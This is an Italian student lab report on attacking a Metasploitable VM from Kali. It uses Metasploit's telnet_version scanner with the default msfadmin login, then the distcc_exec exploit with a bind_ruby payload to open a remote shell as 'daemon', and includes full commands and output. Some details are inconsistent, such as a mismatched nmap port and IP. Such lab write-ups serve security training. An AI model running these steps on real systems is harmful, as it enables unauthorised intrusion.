

REPORT S7/L2

Exploit Telnet con Metasploit

Traccia

Utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Prima, configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40

Svolgimento

Come descritto nella traccia dell'esercizio compiremo un'attacco hacking verso la macchina di Meta tramite Metasploit, in particolare testeremo la vulnerabilità del protocollo telnet.

Innanzitutto configuriamo i nuovi indirizzi IP sulle macchine, come richiesto dalla traccia.

Editing LAN

Connection name: LAN

General Ethernet 802.1X Security DCB Proxy IPv4 Settings IPv6 Settings

Method: Manual

Addresses

Address	Netmask	Gateway
192.168.1.25	24	192.168.1.1

DNS servers

Search domains

DHCP client ID

☐ Require IPv4 addressing for this connection to complete

Routes...

Cancel Save

```
metasploitable2 [In esecuzione] - Oracle VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto

--- 192.168.1.25 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 2.333/2.880/3.427/0.547 ms
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:44:2a:8f
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe44:2a8f/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:15 errors:0 dropped:0 overruns:0 frame:0
          TX packets:76 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1112 (1.0 KB)  TX bytes:5480 (5.3 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:123 errors:0 dropped:0 overruns:0 frame:0
          TX packets:123 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:25769 (25.1 KB)  TX bytes:25769 (25.1 KB)

msfadmin@metasploitable:~$
```

Proviamo con il comando ping se le macchine comunicano tra di loro:

```
(kali@kali)-[~]
$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data:
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=3.22 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=2.23 ms
^C
--- 192.168.1.40 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1042ms
rtt min/avg/max/mdev = 2.233/2.728/3.223/0.495 ms
```

Fatta questa configurazione iniziale, procediamo con l'esercizio. Avviamo Metasploit con il comando *msfconsole* e cerchiamo i possibili exploit da effettuare sul protocollo telnet con il comando *search telnet* e scegliamo l'attacco numero 73 *auxiliary/scanner/telnet/telnet_version*.

Prima di procedere con l'attacco verifichiamo che sulla macchina target la porta 23 sia aperta. Diamo il comando *nmap -sV -p 21 192.168.1.149*:

```
(kali@kali)-[~]
$ nmap -sV -p 23 192.168.1.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 08:37 EST
Nmap scan report for 192.168.1.40
Host is up (0.0018s latency).

PORT      STATE SERVICE VERSION
23/tcp    open  telnet  Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.47 seconds
```

Dal risultato sappiamo che la porta 23 è aperta quindi possiamo procedere con l'attacco.

Scegliamo quindi *use 73* e diamo il comando *show options* per controllare quali parametri vanno settati prima di lanciare l'attacco:

```
msf6 > use 73
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                                                                                                             |
| RHOSTS   |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                                                               |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                                                 |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                                                        |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                                                     |



View the full module info with the info, or info -d command.
```

Settiamo *RHOSTS* per stabilire l'indirizzo della macchina da attaccare:

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhost 192.168.1.40
rhost => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  --      -
  PASSWORD  PASS            no        The password for the specified username
  RHOSTS    192.168.1.40    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     23              yes       The target port (TCP)
  THREADS   1               yes       The number of concurrent threads (max one per host)
  TIMEOUT   30              yes       Timeout for the Telnet probe
  USERNAME  none            no        The username to authenticate as

View the full module info with the info, or info -d command.
```

A questo punto non ci resta che lanciare l'attacco con il comando exploit, ottenendo:

[illegible]

L'attacco è andato a buon fine e ci ha restituito le credenziali di accesso. Per provare che effettivamente le credenziali siano corrette proviamo a collegarci alla macchina target via telnet sulla porta 23. Come possiamo vedere dall'immagine seguente, usando le credenziali date dall'exploit, abbiamo accesso a Meta:

```
(kali㉿kali)-[~]  
$ telnet 192.168.1.40 23  
Trying 192.168.1.40 ...  
Connected to 192.168.1.40.  
Escape character is '^['.
```

Warning: Never expose this VM to an untrusted network!

Contact: [msfdev\[at\]metasploit.com](mailto:msfdev[at]metasploit.com)

Login with msfadmin/msfadmin to get started

```
metasploitable login: msfadmin
```

Password:

```
Last login: Tue Jan 21 08:31:05 EST 2025 on tty1
```

```
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
```

The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

To a

To access official Ubuntu documentation, please visit:

<http://help.ubuntu.com/>

No mail.

```
msfadmin@metasploitable:~$
```

Exploit Telnet con Metasploit

Traccia

Studiare cos'è il servizio **distcc** e scrivere qualche riga di spiegazione di questo servizio.

- Spiegare la motivazione dell'esistenza della vulnerabilità.
- Per quale motivo tengono la porta aperta?
- E facilmente accessibile?

Effettuare l'attacco al servizio **distccd** ed aprire una shell nella macchina bersaglio.

Svolgimento

distcc è un tool per velocizzare la compilazione del codice sorgente usando configurazione distribuita di computer attraverso una rete. Con la giusta configurazione, distcc può ridurre drasticamente i tempi di compilazione di un progetto.

La vulnerabilità nel servizio distcc esiste principalmente a causa di problemi di sicurezza nella gestione delle connessioni remote e nell'esecuzione di codice non sicuro. I motivi principali per attaccare questo sistema sono:

1. Connessioni non sicure
2. Esecuzione di codice remoto
3. Vulnerabilità di buffer overflow
4. Configurazioni errate o deboli
5. Assenza di crittografia

Naturalmente, nei casi in cui distcc viene usato è importante mantenere la porta aperta per permettere ai client (ovvero le macchine che inviano i file da compilare) di interagire con il server distcc (la macchina che esegue la compilazione effettiva).

distcc è facilmente accessibile nel caso in cui il servizio non sia configurato correttamente, dalle misure di sicurezza adottate e dalla rete in cui è operante.

Dopo aver capito cos'è il servizio distcc, possiamo procedere con l'attacco. Innanzitutto controlliamo con nmap che la porta usata dal servizio (3632) sia aperta sulla macchina target:

```
(kali㉿kali)-[~]  
$ nmap -sV -p 3632 192.168.1.40  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 09:05 EST  
Nmap scan report for 192.168.1.40  
Host is up (0.0026s latency).  
  
PORT      STATE SERVICE VERSION  
3632/tcp  open  distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 19.86 seconds
```

Anche in questo caso la porta risulta aperta, vediamo che la versione installata del servizio è 4.2.4. Pertanto possiamo procedere con l'attacco.

Avviamo Metasploit e cerchiamo l'attacco con *search distccd*.

```
msf6 > search distccd

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  exploit/unix/misc/distcc_exec            2002-02-01      excellent Yes    DistCC Daemon Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf6 exploit(unix/misc/distcc_exec) >
```

Troviamo un solo attacco disponibile per il servizio, lo selezioniamo con *use 0* e andiamo a controllare cosa bisogna configurare per eseguire l'attacco con *show options*.

```
msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

Name      Current Setting  Required  Description
-      -
CHOST      CPORT            no        The local client address
CPORT      CPORT            no        The local client port
Proxies    RHOSTS           no        A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS     RHOSTS           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      3632             yes       The target port (TCP)

Payload options (cmd/unix/reverse_bash):

Name      Current Setting  Required  Description
-      -
LHOST     192.168.1.25    yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic Target

View the full module info with the info, or info -d command.
```

Va configurato *rhost*, mentre *lhost*, *rport*, *lport* risultano già inseriti. Dopodichè con *show payloads* vediamo quali sono i payload tra i quali scegliere ed usiamo il numero 3 *bind_ruby*

```
msf6 exploit(unix/misc/distcc_exec) > set payload 3
payload => cmd/unix/bind_ruby
msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

  Name      Current Setting  Required  Description
  --      -
  CHOST      192.168.1.40     no        The local client address
  CPORT      3632             no        The local client port
  Proxies    []               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.1.40     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      3632             yes       The target port (TCP)

Payload options (cmd/unix/bind_ruby):

  Name      Current Setting  Required  Description
  --      -
  LPORT      4444             yes       The listen port
  RHOST      192.168.1.40     no        The target address

Exploit target:

  Id  Name
  --  --
  0    Automatic Target
```

Lanciamo l'attacco con *exploit* e avremo accesso e controllo alla macchina target:

```
msf6 exploit(unix/misc/distcc_exec) > exploit

[*] 192.168.1.40:3632 - stderr: -e:1:in `initialize': Address already in use - bind(2) (Errno::EADDRINUSE)
[*] 192.168.1.40:3632 - stderr:      from -e:1:in `new'
[*] 192.168.1.40:3632 - stderr:      from -e:1
[*] Started bind TCP handler against 192.168.1.40:4444
[*] Command shell session 1 opened (192.168.1.25:41953 -> 192.168.1.40:4444) at 2025-01-21 09:16:53 -0500

pwd
/tmp
whoami
daemon
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```